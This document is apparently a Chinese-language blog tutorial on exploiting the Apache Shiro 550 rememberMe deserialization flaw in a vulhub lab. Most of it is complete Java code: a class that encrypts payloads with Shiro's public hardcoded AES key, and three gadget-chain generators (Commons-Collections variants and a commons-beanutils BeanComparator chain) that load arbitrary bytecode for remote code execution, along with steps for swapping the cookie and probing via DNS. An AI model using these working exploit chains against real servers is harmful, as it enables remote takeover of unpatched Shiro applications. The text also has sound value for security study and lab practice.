Shiro550 链
目录
Shiro550 550
环境
Commons-beanutils 1.9.2
commons-colletcions 3.2.1
Shiro550 1.2.3
tomcat 9.0.29
Spring boot 2.2.2
环境是从vulhub“偷”来的[doge]
原理
Shiro550 550 是加密硬编码,使用了AES来加密存储的remberme,但是密钥却是公开的,写死的,所以可以直接使用脚本加密,然后反序列化,当然也可以使用自带Shiro550加密函数加密。
从源码中直接获得密钥
加密函数:
package org.Shiro550serual.explod;
import org.apache.Shiro550.crypto.AesCipherService;
import org.apache.Shiro550.codec.CodecSupport;
import org.apache.Shiro550.util.ByteSource;
import org.apache.Shiro550.codec.Base64;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class Encrypt {
public static void encrypt(String path) throws IOException {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath(path));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
String text = ciphertext.toString();
System.out.printf(text);
try(FileWriter files = new FileWriter(path+"_encrypt.bin")){
files.write(text);
}
}
public static void main(String[] args) throws IOException {
Encrypt.encrypt("D:\\DNS.bin");
}
}
DNS探测
dns探测
首先先登录,然后破坏session,
将payload先base64编码一下,然后使用上面的脚本加密一下,得到密文后替换remberme即可,之后使用DNSURL链操作一下即可:
可以看出存在反序列化,下面就是利用方式。
CC链3版本系列
在有CC4代版本的时候,直接使用ysoserial的CC2链直接打就可以了(稍稍改一下,然后本地运行,github上面的有点老)
为什么需要单独改一条专门给Shiro550使用的链呢?
这是因为在Shiro550中使用的是tomcat的类加载器,所以无法使用数组来传递数据,这时候就需要专门准备一条链子。
invokeTransform触发
这个就是很直白的触发,直接使用invokeTransform
触发TemplatesImpl
的newTransformer
方法,然后达到类加载的过程。具体参考ysoserial中的CC3链。
在CC6中,将TiedMapEntry初始化的时候传入TemplatesImpl,然后lazymap的factory设置为invokerTransform即可,需要注意的是,生成lazymap的时候可以先用其他值替代一下,防止提前触发。
代码:
package org.Shiro550serual.explod;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Objects;
public class JustC3 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//这个链子是使用invokerTransform直接调用TemplatesImpl的newTransformer方法从而类加载
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
// 设置name值
nameField.set(templates, "111");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))});
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
//CC6 部分
HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
//防止序列化的时候触发漏洞
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap, new ConstantTransformer(1));
//TideMapEntry
//此处可以传参,此处的templates是之后调用的时候传入的参数,调用factory的transform方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
//new一个用来触发hashCode的HashCode
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
//将需要触发hashCode的Entry作为key传入其中,他的值无所谓
hashMap.put(tiedMapEntry, "111");
//重新修理这个链接
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap, invokerTransformer);//传入被调用值
//此处将已经存入的temp删除,好让他之后再次生成
lazyMap.remove(templates);
String FileNmae = "ser.bin";
serialzie(hashMap,FileNmae);
//unserialize(FileNmae);
Encrypt.encrypt(FileNmae);
}
public static void serialzie(Object O,String name) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
objectOutputStream.writeObject(O);
}
public static void unserialize(String name) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
objectInputStream.readObject();
}
}
不用invokeTransform
这个也是从CC3链中来的主要就是专门用来触发newTransformer
的一个办法.
InstantiateTransformer
是一个用来调用构造器实例化对象的类,可以让它实例化TrAXFilter
TrAXFilter
被实例化的时候,会调用传入参数的 newTransformer
, 从而触发类加载部分
最后的逻辑就是InstantiateTransformer
实例一个TrAXFilter
给他传入的参数是newTransformer
部分
代码:
package org.Shiro550serual.explod;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Objects;
//cc2
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
public class MyJustC3V {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
//本链使用的是CC6的hashmap触发lazymap的get,本链不同于上面链,而是再网上封装了一层,是通过触发InstantiateTransformer方法,
// 传入TrAXFilter.class,从而间接触发类似invokerTransform函数调用newTransformer的步骤。
//
//CC2部分
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField= c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"111");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))} );
//instantiateTransformer需要传入TrAXFilter.class参数
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//CC6部分
HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
//防止序列化的时候触发漏洞
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap,new ConstantTransformer(1));
//TideMapEntry
//将需要触发hashCode的Entry作为key传入其中,他的值是最后transfomr需要的
//此处传入的是被调用值,不是参数
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class);
//new一个用来触发hashCode的HashCode
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "222");
//重新修理这个链接
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,instantiateTransformer);
lazyMap.remove(TrAXFilter.class);
serialzie(hashMap,"Shiro550550.bin");
unserialize("Shiro550550.bin");
}
public static void serialzie(Object O,String name) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get(name)));
objectOutputStream.writeObject(O);
Encrypt.encrypt(name);
}
public static void unserialize(String name) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
objectInputStream.readObject();
}
}
CB链
CB即commons-beanutils是一个java 的bean管理类,其中有一个utile方法很好用:
PropertyUtils.getProperty()
这个类可以接受两个参数,一个是类,一个是需要调用的属性
在com.sun.org.apache.xalan.internal.xsltc.trax中有一个可以直接调用newTransformer()的类,而且也符合bean的条件
然后可以简单试一下运行一下:
package org.Shiro550serual.explod;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.PropertyUtilsBean;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CommonsBeanExplod {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
// 设置name值
nameField.set(templates, "111");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))});
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
}
}
之后就只需要想办法吊起这个PropertyUtils.getProperty方法就可以了
查找一下用法:
一眼看见这个compare方法,其他几个都不能用
compare可以直接使用之前在CC4中的优先队列PriorityQueue可以触发这个compare方法,这时候这个链子的思路就通了,组装一下
package org.Shiro550serual.explod;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.PropertyUtilsBean;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.set.CompositeSet;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommonsBeanExplod {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
// 设置name值
nameField.set(templates, "111");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\My_programs\\JavaProject\\Java_Commons_Collections\\target\\classes\\org\\Payload\\CC3\\Exec.class"))});
//CC2
//CB
//如果这里不指定comparator,默认会创建一个CC的comparator,所以这里手动设置一下。
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
// PropertyUtils.getProperty(templates,"outputProperties");
//这个TransformingComparator只是本地组装一下,事后会反射修改成BeanComparator
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> prit = new PriorityQueue<>(transformingComparator);
prit.add(templates);
prit.add(2);
Class c1 = PriorityQueue.class;
Field declaredField = c1.getDeclaredField("comparator");
declaredField.setAccessible(true);
declaredField.set(prit,beanComparator);
serialzie(prit,"CB.bin");
}
public static void serialzie(Object O,String name) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
objectOutputStream.writeObject(O);
Encrypt.encrypt(name);
}
public static void unserialize(String name) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
objectInputStream.readObject();
}
}
需要注意的是BeanComparator 构建的时候需要给一个comparator,不然人家直接就调用CC的comparator
之后直接使用上面的加密类操作一下就可以了。
最后链的过程图为: